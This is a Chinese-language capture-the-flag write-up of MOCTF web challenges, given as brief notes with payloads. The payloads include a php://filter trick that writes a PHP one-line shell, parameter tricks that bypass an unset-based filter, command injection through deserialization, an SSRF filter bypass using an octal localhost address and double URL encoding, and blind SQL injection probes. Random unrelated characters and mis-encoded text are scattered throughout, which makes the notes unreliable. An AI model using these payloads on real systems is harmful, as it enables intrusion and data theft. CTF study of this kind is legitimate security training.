MOCTF -WEB
9扛或、暴躁老板
抓包
10瘸彤、Flag在哪
抓取重定向
11佩脊、美味的餅干
發(fā)現(xiàn)cookie中存在base64編碼+md5編碼
改成admin并修改cookie即可
12验庙、沒時(shí)間解釋了
發(fā)現(xiàn)index2.php润梯,可能是重定向过牙。
13、死亡退出
參考地址:https://blog.csdn.net/stepone4ward/article/details/86651041
@file_put_contents($filename, $c);
在向tmp.php中寫入數(shù)據(jù)時(shí)利用php偽協(xié)議file=php://filter/read=convert.base64-decode/resource=tmp.php
c中寫入base64編碼的一句話<?php system("cat flag.php");?>
因?yàn)樽钋懊娴膒hpexit7位纺铭,因?yàn)閎ase64算法解碼時(shí)是4個(gè)byte一組寇钉,所以要加上一個(gè)a補(bǔ)全8位,
aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
構(gòu)造post? ? file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
14舶赔、火眼金睛
交個(gè)腳本就行
15扫倡、unset
代碼審計(jì),估計(jì)要用到unset
unset(bar);用來銷毀指定的變量竟纳,如果變量bar);用來銷毀指定的變量撵溃,如果變量bar 包含在請求參數(shù)中,可能出現(xiàn)銷毀一些變量而實(shí)現(xiàn)程序邏輯繞過锥累。
要求key中不能出現(xiàn)flag,但是又要$_GET['flag']缘挑。。桶略。
所以利用
如果_POST语淘、_GET中的某一鍵值對(duì)已經(jīng)存在诲宇,就銷毀這個(gè)key-value,從而繞過waf()
再利用POST中的數(shù)組重新進(jìn)行鍵值對(duì)的賦值惶翻,因?yàn)镚ET中的鍵值對(duì)為$flag=s878926199a
而下面需要的是_GET[flag]
構(gòu)造? http://119.23.73.3:5101/?flag=s878926199a&daiker=s155964671a&file=php://filter/read=convert.base64-encode/resource=flag.php?
POST:????_GET[flag]=s878926199a&_GET[daiker]=s155964671a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
16姑蓝、PUNG
在學(xué)校那個(gè)頁面的源代碼中提示index.php.bak
下載
1、存在class.php吕粗,以及需要利用反序列化它掂。
試試class.php.bak文件
首先是_destruct(),waf()是啥不知道溯泣。虐秋。
如果weapon==="AWM",這里要繞過_wakeup垃沦,否則武器被賦值為98k客给,
調(diào)用Get_air_drops($this->bag);
然后????Get_air_drops($b)????是????$this->$b();
在調(diào)用不存在的方法時(shí)調(diào)用????_call()
很明顯要利用參數(shù)可控的
$file = explode(".",$method);
if(file_exists(".//class$file[0].php"))
已知????system("php .//class//win.php"); 存在
于是構(gòu)造????//win
system("php .//class//$method.php");
再利用管道符讀取flag
于是構(gòu)造"http://win.php | cat ./class/flag"
構(gòu)造反序列化
17、網(wǎng)站檢測
參考wp:https://blog.csdn.net/stepone4ward/article/details/86701123
試一下http://www.moctf.com
發(fā)現(xiàn)這個(gè)檢測器會(huì)將頁面的主要內(nèi)容輸出到屏幕肢簿,嘗試一下http://www.moctf.com/flag.php
SSRF漏洞(服務(wù)器端請求漏洞)是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個(gè)安全漏洞靶剑。因?yàn)槠涫怯煞?wù)器端發(fā)生的請求,所以可以訪問到外網(wǎng)無法訪問到的內(nèi)部系統(tǒng)池充。其繞過方式為在真實(shí)地址后加上@+想要偽造訪問的地址
這道題給出的hint為docker -p 10001:80
我們需要訪問的是本地的ip桩引,但是題目過濾了dot和127,因此對(duì)于dot我們采取url編碼的方式繞過收夸,但此時(shí)的“.”為%2e,依舊會(huì)被識(shí)別坑匠,此時(shí)我們需要使用url二次編碼來進(jìn)行繞過。對(duì)于127.0.0.1我們則采取改變進(jìn)制的方法進(jìn)行繞過卧惜。
SSRF厘灼,過濾了.和127
最基本的payload為:http://www.moctf.com@127.0.0.1/flag.php
可以利用url二次編碼的方式繞過.127.0.0.1可以用localhost試試,發(fā)現(xiàn)不行
將127.0.0.1轉(zhuǎn)為8進(jìn)制結(jié)果為017700000001
url=http%3A%2F%2Fwww.moctf.com@017700000001/%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30
18、簡單注入
參考wp:http://www.reibang.com/p/4bf347959bd5
多次嘗試發(fā)現(xiàn)????id=1'and'1'='1????可以盲注了
判斷可用字符
利用相同方法帶入發(fā)現(xiàn)union聯(lián)合注入咽瓷、or设凹、<、>都不可用茅姜。
可以使用and闪朱、select查詢字符。
bool盲注,腳本以此類推